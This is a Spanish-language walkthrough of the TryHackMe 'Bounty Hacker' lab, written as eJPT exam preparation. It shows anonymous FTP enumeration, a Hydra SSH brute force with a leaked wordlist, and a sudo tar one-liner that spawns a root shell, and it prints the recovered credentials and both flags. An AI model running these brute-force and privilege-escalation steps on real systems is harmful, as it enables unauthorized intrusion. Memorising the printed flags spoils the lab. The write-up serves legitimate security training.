Resumen
Bounty Hacker es la quinta máquina de la serie Road to eJPTv2 y una de las más directas en términos de flujo de ataque. El FTP anónimo no solo confirma configuraciones laxas — esta vez entrega directamente un wordlist de contraseñas y el nombre de usuario objetivo. Con esos datos, Hydra hace el trabajo pesado contra SSH. La escalada via sudo tar introduce un nuevo binario de GTFOBins que vale la pena conocer.
| Atributo | Valor |
|---|---|
| Plataforma | TryHackMe |
| Dificultad | Fácil |
| OS | Linux |
| Sala | Bounty Hacker |
| Skills | FTP Enum, SSH Bruteforce, Sudo Privesc (tar) |
🎥 Versión en video
Si prefieres seguir el walkthrough paso a paso, continúa leyendo. El video cubre el mismo proceso en formato visual.
Herramientas usadas
nmap— enumeración de puertos y serviciosftp— acceso anónimo y descarga de archivoshydra— bruteforce SSH con wordlist obtenido del FTPssh— acceso con credenciales obtenidas
Resumen de la solución
- Nmap revela FTP (21), SSH (22) y HTTP (80)
- FTP anónimo expone dos archivos:
task.txt(usuariolin) ylocks.txt(wordlist de contraseñas) - Hydra bruteforce SSH con
linylocks.txt→ contraseñaRedDr4gonSynd1cat3 - Acceso SSH como
lin→ flag de usuario sudo -lrevela quelinpuede ejecutar/bin/tarcomo root- Abuso de
sudo tarcon payload de shell → root
Reconocimiento
Verificación de conectividad
ping -c 1 10.67.160.220
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Nota sobre
--open: este flag filtra la salida mostrando solo puertos abiertos, ignorando los filtrados o cerrados. Útil para no distraerse con ruido en máquinas con muchos puertos filtrados — como esta, que tenía 55531 puertos filtrados.
Escaneo dirigido con versiones y scripts:
nmap 10.67.160.220 -n -Pn -sS -sCV -p21,22,80 --min-rate=5000 -oN scanBounty.txt
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open http Apache httpd 2.4.41 (Ubuntu)
Hallazgos clave:
- Puerto 21: vsftpd con login anónimo habilitado — primer vector a explorar
- Puerto 22: SSH — potencial objetivo de bruteforce si encontramos credenciales
- Puerto 80: Apache — revisión web pendiente
Enumeración FTP anónimo
ftp 10.67.160.220 21
Name: anonymous
230 Login successful.
ftp> ls
-rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt
Dos archivos accesibles. Los descargamos:
ftp> get locks.txt
ftp> get task.txt
Revisamos su contenido:
task.txt — lista de tareas firmada por el usuario lin:
1.) Protect Vicious. 2.) Get Trophies on the shelf.
Hallazgo crítico: el archivo está firmado por
lin— tenemos un nombre de usuario válido del sistema.
locks.txt — lista de posibles contraseñas (wordlist personalizado):
rEddrAGON
ReDdr4gON
RedDr4gonSynd1cat3
Situación ideal para el atacante: el servidor FTP anónimo acaba de entregarnos el usuario (
lin) y su wordlist de contraseñas (locks.txt). Esto es un error de configuración crítico — nunca expongas archivos sensibles en FTP anónimo.
Explotación
Bruteforce SSH con Hydra
Con el usuario y el wordlist en mano, lanzamos Hydra contra SSH:
hydra -l lin -P ./locks.txt ssh://10.67.160.220 -t 4
Justificación de los flags:
-l linusuario único (ya lo sabemos deltask.txt)-P locks.txtwordlist personalizado obtenido del FTP-t 44 tareas paralelas (más alto puede causar bloqueos en SSH)
Justificación de los flags:
-l linusuario único (ya lo sabemos deltask.txt)-P locks.txtwordlist personalizado obtenido del FTP-t 44 tareas paralelas (más alto puede causar bloqueos en SSH)
[22][ssh] host: 10.67.160.220 login: lin password: RedDr4gonSynd1cat3
Credenciales obtenidas:
lin:RedDr4gonSynd1cat3
El ataque terminó en 10 segundos porque el wordlist era pequeño y personalizado. Esta es la diferencia entre un wordlist genérico (rockyou.txt con 14 millones de entradas) y uno dirigido — cuando tienes el wordlist correcto, el bruteforce es casi instantáneo.
Acceso SSH
ssh lin@10.67.160.220
Welcome to Ubuntu 20.04.6 LTS
lin@ip-10-67-160-220:~$
Post-explotación
Flag de usuario
cat ~/Desktop/user.txt
Flag de usuario:
THM{CR1M3_SyNd1C4T3}
Enumeración de sudo
sudo -l
User lin may run the following commands on ip-10-67-160-220:
(root) /bin/tar
Hallazgo crítico:
linpuede ejecutartarcomo root sin contraseña.tares un compresor/descompresor de archivos que en condiciones normales no debería tener permisos sudo. GTFOBins documenta exactamente cómo abusar de esto.
Escalada de privilegios
Abuso de sudo tar
tar tiene un flag -I que permite especificar un programa externo para comprimir/descomprimir. Podemos abusar de esto para ejecutar comandos arbitrarios con privilegios de root:
sudo tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'
# whoami
root
¿Qué hace este comando?
sudo tarejecuta tar con privilegios de rootxf /dev/nullintenta extraer de/dev/null(archivo vacío — no falla pero tampoco hace nada real)-I '/bin/sh -c "sh <&2 1>&2"'especifica como “descompresor” una shell/bin/sh<&2 1>&2redirige stdin desde stderr y stdout hacia stderr — trick para obtener una shell interactiva desde tar
Flag de root
cd /root
cat root.txt
Flag de root:
THM{80UN7Y_h4cK3r}
Lecciones aprendidas
- FTP anónimo puede ser más peligroso de lo que parece — En máquinas anteriores (Simple CTF) el FTP anónimo no dio información útil directa. Aquí entregó usuario y wordlist. Siempre listar y descargar todo lo que esté en un FTP anónimo antes de pasar al siguiente vector.
- Un wordlist dirigido es exponencialmente más efectivo —
locks.txttenía 26 contraseñas. rockyou.txt tiene 14 millones. Hydra encontró la contraseña en 10 segundos con el wordlist correcto. En un pentest real, recopilar información específica del objetivo antes de lanzar ataques de fuerza bruta marca la diferencia. sudo -lsigue siendo el primer comando post-shell — Cuatro máquinas seguidas con privesc via sudo. El patrón es consistente: siempre es lo primero que verificas.- GTFOBins no es solo Python y Vim —
tar,find,awk,perl,nmap… decenas de binarios comunes tienen técnicas de escape documentadas en GTFOBins. Aprende a buscar ahí cuando encuentres un binario inusual con sudo o SUID. --openen Nmap es tu amigo — En máquinas con muchos puertos filtrados, el flag--openlimpia la salida y te enfoca en lo que importa. Úsalo cuando el primer escaneo muestre miles de puertos filtrados.
Para la eJPT
Esta máquina ejercita habilidades directamente evaluadas en la eJPT:
- Enumeración FTP anónima con extracción de archivos
- Bruteforce SSH dirigido con Hydra
- Escalada de privilegios via sudo misconfiguration
- Uso de GTFOBins como referencia de privesc
Tiempo aproximado de resolución: 15-20 minutos — una de las máquinas más rápidas de la serie una vez que entiendes el flujo.